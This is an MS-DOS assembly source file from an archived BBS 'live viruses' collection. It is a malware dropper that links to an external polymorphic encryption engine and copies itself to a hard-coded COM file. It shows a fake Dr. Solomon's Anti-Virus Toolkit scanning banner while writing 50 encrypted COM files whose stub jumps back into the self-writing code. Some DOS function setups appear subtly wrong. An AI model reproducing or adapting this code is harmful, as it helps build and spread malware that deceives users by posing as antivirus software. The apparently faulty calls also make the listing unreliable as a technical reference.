home *** CD-ROM | disk | FTP | other *** search
/ The Unsorted BBS Collection / thegreatunsorted.tar / thegreatunsorted / live_viruses / virus_collections / t1.asm < prev    next >
Assembly Source File  |  1992-09-02  |  4KB  |  114 lines

  1.                 .model  tiny
  2.                 .RADIX  16
  3.  
  4.                 .code
  5.  
  6.                 extrn   crypt:near              ;external routines in engine
  7.                 extrn   rnd_get:near
  8.                 extrn   rnd_init:near
  9.  
  10.  
  11.                 org     0100
  12.  
  13.  
  14. HERE_WE_GO:     LEA     DX,FILES
  15.                 MOV     AX,3C0H
  16.                 INT     21H
  17.                 XCHG    BX,AX
  18.  
  19. STUFF_IT:       MOV     AH,40H
  20.                 MOV     CX,HEAP-HERE_WE_GO
  21.                 MOV     DX,OFFSET HERE_WE_GO
  22.                 INT     21H
  23.  
  24. GO_BACK:        JMP     BEGIN
  25.  
  26. FILES           DB      'I:\ASM\F\FILTHY.COM',0
  27.  
  28.  
  29. BEGIN:          call    rnd_init                ;init. random number generator
  30.  
  31.                 mov     dx,offset starttxt      ;print message
  32.                 mov     ah,09
  33.                 int     21
  34.  
  35.                 mov     cx,50d                  ;repeat 50 times
  36. lop:            push    cx
  37.  
  38.                 mov     ax,3c0h                   ;create a new file
  39.                 mov     dx,offset filename
  40.                 mov     cx,HEAP-here_we_go
  41.                 int     21
  42.                 xchg    ax,bx
  43.  
  44.                 push    ds
  45.                 push    es
  46.                 push    bx
  47.  
  48.                 mov     ax,cs                   ;input parameters for engine
  49.                 mov     ds,ax
  50.                 add     ax,0400
  51.                 mov     es,ax                   ;ES = DS + 400h
  52.                 xor     si,si                   ;code will be right after decr.
  53.                 mov     dx,offset hello         ;this will be encrtypted
  54.                 mov     cx,HEAP-HELLO           ;length of code to encrypt
  55.                 mov     bp,0100h                ;decryptor will start at 100h
  56.                 call    rnd_get                 ;AX register will be random
  57.  
  58.                 call    crypt                   ;call the engine
  59.  
  60.                 pop     bx                      ;write crypted file
  61.                 mov     ah,40
  62.                 int     21
  63.  
  64.                 mov     ah,3E                   ;close the file
  65.                 int     21
  66.  
  67.                 pop     es
  68.                 pop     ds
  69.                 
  70.                 mov     di,offset filename      ;adjust name for next file
  71.                 mov     bx,7                    ; (increment number)
  72. incnum:         inc     byte ptr ds:[bx+di]
  73.                 cmp     byte ptr ds:[bx+di],'9'
  74.                 jbe     numok
  75.                 mov     byte ptr ds:[bx+di],'0'
  76.                 dec     bx
  77.                 jnz     incnum
  78.  
  79. numok:          pop     cx                      ;do it again...
  80.                 loop    lop
  81.  
  82. exit:           int     20
  83.  
  84.  
  85. ;----------------------------------------------------------------------------
  86. ;               Text and data
  87. ;----------------------------------------------------------------------------
  88.  
  89. starttxt        db     'Dr. Solomons Anti-Virus Toolkit (C) 1993                  ',0
  90.                 db     '                     ',0
  91.                 db     '        To abort scan, press ESC.                          ',0
  92.                 db     '─────────────────────────────────────────                  ',0
  93.                 db     'Scanning boot sector and partion table...',0
  94.                 db      0Dh, 0Ah, '$'
  95.  
  96. filename        db      '00000000.COM',0
  97.  
  98.  
  99. ;----------------------------------------------------------------------------
  100. ;               The small test file that will be encrypted
  101. ;----------------------------------------------------------------------------
  102.  
  103. hello:          call    next                    ;get relative offset
  104. next:           pop     dx
  105.                 add     dx,10d                  ;find begin of message
  106.                 mov     ah,09                   ;print message
  107.                 INT     21H
  108.                 JMP     HERE_WE_GO
  109.                 db      'S & S International (C) 1993', 0Dh, 0A, '$'
  110.                 db      (100d) dup (90)
  111.  
  112. HEAP:
  113.                 end    HERE_WE_GO
  114.